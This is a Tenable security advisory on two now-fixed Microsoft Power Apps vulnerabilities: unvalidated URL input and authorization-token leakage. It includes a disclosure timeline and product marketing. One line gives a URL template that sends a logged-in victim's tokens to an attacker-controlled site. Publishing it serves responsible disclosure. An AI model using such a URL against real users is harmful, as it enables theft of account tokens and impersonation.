Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Multiple vulnerabilities in Microsoft Power Apps (apps.powerapps.com, make.powerapps.com)

Medium

Synopsis

Insufficient input validation on apps.powerapps.com/teams/makerportal makerportalUrl parameter

The makerPortalUrl parameter at apps.powerapps.com/teams/makerportal did not properly validate the supplied url. 

A malicious attacker could leverage this issue to spoof content in Microsoft Teams tabs and steal victims' authorization tokens. 

Theft of authorization tokens for graph.make.powerapps.com and api.powerapps.com

If a user who is logged into make.powerapps.com was convinced to visit a page following the format:

https://make.powerapps.com/teams/powerapps/acquire/mscrm.test/status/https%3a%2f%2f<attacker-controlled-site>

That user's authorization tokens for graph.make.powerapps.com and api.powerapps.com would be leaked to the attacker-controlled site. 

A malicious attacker could leverage this issue to steal additional authorization tokens and make requests to multiple Microsoft services authorized as the victim. 

Solution

Microsoft has fixed the issues.

Disclosure Timeline

March 26, 2021 - Vulnerabilities reported to Microsoft Security Response Center (MSRC)
March 30, 2021 - Vulnerabilities confirmed by MSRC
April 15, 2021 - Tenable asks for updates, MSRC responds that team is investigating.
April 27, 2021 - Tenable notes that the input validation issue appears fixed, which would trigger disclosure. Asks Microsoft to confirm.
May 10, 2021 - Tenable again asks MSRC to confirm, notes that issue will be disclosed unless there is reason to believe the issue is not fixed.
May 11, 2021 - MSRC asks Tenable to delay disclosure until they can confirm the fix.
May 11, 2021 - Tenable asks MSRC to confirm before end of week if there are additional issues or other reasons to delay disclosure.
May 13, 2021 - Tenable discovers and reports a potential workaround to the noted fix, agrees to delay disclosure until MSRC confirms the issue is fixed and workaround addressed.
June 11, 2021 - MSRC confirms the input validation issue is fixed.
June 24, 2021 - MSRC confirms the auth token disclosure issue is fixed.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2021-23
Credit:
Evan Grant
Affected Products:
Microsoft Power Apps
Microsoft Teams
Risk Factor:
Medium

Advisory Timeline

June 14, 2021 - Advisory initially published
June 24, 2021 - Advisory updated with details on auth token disclosure issue

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Web App Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management and Tenable Lumin.

Buy Tenable Web App Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management and Tenable Web App Scanning.

Buy Tenable Lumin

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable Nessus Professional Free

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro Trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Try Tenable Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training